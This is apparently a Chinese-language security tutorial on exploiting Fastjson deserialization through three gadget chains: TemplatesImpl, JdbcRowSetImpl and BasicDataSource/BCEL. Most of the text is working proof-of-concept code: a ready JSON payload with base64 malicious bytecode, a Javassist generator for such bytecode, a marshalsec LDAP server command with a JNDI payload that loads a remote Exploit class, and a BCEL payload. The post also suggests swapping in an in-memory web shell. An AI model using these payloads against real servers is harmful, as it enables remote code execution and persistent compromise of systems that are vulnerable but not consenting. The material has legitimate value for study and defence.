Fastjson反序列化

Fastjson反序列化一共有三条利用链

TempLatesImpl：实战中不适用
JdbcRowSetImpl： 实际运用中较为广泛
BasicDataSource（BCEL）

反序列化核心

反序列化是通过字符串或字节流，利用Java的反射机制重构一个对象。主要有两种机制：

Java Bean反序列化机制：通过反射机制实例化一个类，然后直接设置字段的值。

- 典型实现：JDK原生、Hessian等。

Property反序列化机制：通过反射机制实例化一个类，通过调用setter方法设置字段的值。

- 典型实现：Fastjson、Jackson等。

Fastjson中的Property-based反序列化漏洞

在AutoType过程中，Fastjson会调用setter/getter方法：

- parse()：通过构造器方法实例化类，并调用setter方法。
- parseObject()：是parse方法的封装，除调用setter外，还会调用getter方法（因为会调用toJSON）。

TempLatesImpl小结

TempLatesImpl的版本限制：

Fastjson 1.22-1.24

TemplatesImpl的利用条件：

反序列化时需要开启 Feature.SupportNonPublicField

Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性，在Fastjson中序列化private属性

来查看一下TemplatesImpl

这里可以看到这几个成员变量都是private进行修饰的。不使用Feature.SupportNonPublicField参数则无法反序列化成功，无法进行利用。

使用TempLatesImpl利用链构造恶意类的五个参数：

@type：存放反序列化时的目标类型
_name ：调用getTransletInstance 时会判断其是否为null，为null直接return，不会往下进行执行，利用链就断了，可参考cc2和cc4链
_tfactory ：defineTransletClasses 中会调用其getExternalExtensionsMap 方法，为null会出现异常,但在前面分析jdk7u21链的时候，部分jdk并未发现该方法
_outputProperties ：漏洞利用时的关键参数，由于Fastjson反序列化过程中会调用其getOutputProperties 方法，导致bytecodes字节码成功实例化，造成命令执行
_bytecodes ：继承AbstractTranslet 类的恶意类字节码，并且使用Base64编码

构造的恶意类：

package nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fj_poc {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",
                        \"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],
                        '_name':'a.b',
                        '_tfactory':{ },
                        \"_outputProperties\":{ }
                      }";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

**两个POC：**也就是_bytecodes经过base64解码后的数据

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

但在使用运用中，个人更倾向于这个POC Two

package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class gadget {
        public static class test{
        }
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(test.class.getName());

            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

            cc.makeClassInitializer().insertBefore(cmd);

            String randomClassName = "nice0e3"+System.nanoTime();
            cc.setName(randomClassName);

            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));


            try {
                byte[] evilCode = cc.toBytecode();
                String evilCode_base64 = Base64.encodeBase64String(evilCode);
                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                String text1 = "{"+
                        "\"@type\":\"" + NASTY_CLASS +"\","+
                        "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                        "'_name':'a.b',"+
                        "'_tfactory':{ },"+
                        "'_outputProperties':{ }"+
                        "}\n";

                System.out.println(text1);

                ParserConfig config = new ParserConfig();
                Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

}

JdbcRowSetImpl小结

JdbcRowSetImpl的版本限制：

使用RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113
使用LADP利用的JDK版本 ≤ 6u211 、7u201、8u191

JdbcRowSetImpl的利用条件：

服务器出网
lookup（URL）参数可控

使用 JdbcRowSetImpl 利用链构造恶意类的三个参数：

@type：目标反序列化类名
dataSourceName：RMI注册中心绑定恶意服务
autoCommit ：在jdbcRowSetImpl链反序列化中，会调用setAutoCommit方法

攻击流程：

首先是这个lookup(URI)参数可控
攻击者控制URI参数为指定为恶意的一个RMI服务
RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
攻击者可以在Factory类文件的静态代码块处写入恶意代码，达到RCE的效果；

首先启动一个LDAP服务端：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389

Exploit代码，需将代码编译成class文件然后挂在到web中

import java.io.IOException;

public class Exploit {
    public Exploit() {
    }
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC代码：

package com.nice0e3;
import com.alibaba.fastjson.JSON;
//jdbcRowSetImpl类里面，由于实现了parseObject、set、get、datasourcename、autocommit、get、set
public class POC {
    public static void main(String[] args) {
        //String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

BasicDataSource小结

BCEL的全名是Apache Commons BCEL，Apache Commons项目下的一个子项目，包含在JDK的原生库中

我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用：

Repository 用于将一个Java Class先转换成原生字节码，当然这里也可以直接使用javac命令来编译java文件生成字节码
Utility 用于将原生的字节码转换成BCEL格式的字节码

生成的BCEL格式大概如下：

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

将这种格式的字符串，作为"字节码"传入new ClassLoader().loadClass(code).newInstance();将会被实例化，当我们在Fastjson反序列化中构造出这种链，将会造成反序列化漏洞

添加tomcat依赖

<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-dbcp</artifactId>
  <version>9.0.8</version>
</dependency>

来看到poc

{
    {
        "x":{
            "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            "driverClassLoader": {
                "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

使用该poc加载bcel字节码。

编写一个test类

package com;
import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
package com;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
    public static void main(String[] argv) throws Exception{
        JavaClass cls = Repository.lookupClass(test.class);
        String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码

        String poc = "{\n" +
        "    {\n" +
        "        \"aaa\": {\n" +
        "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
        "                \"driverClassLoader\": {\n" +
        "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
        "                },\n" +
        "                \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
        "        }\n" +
        "    }: \"bbb\"\n" +
        "}";
        System.out.println(poc);
        JSON.parse(poc);
    }
}

要打内存马替换为内存马class即可

在tomcat8以后和tomcat7的版本存在一点小差异

tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource
在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource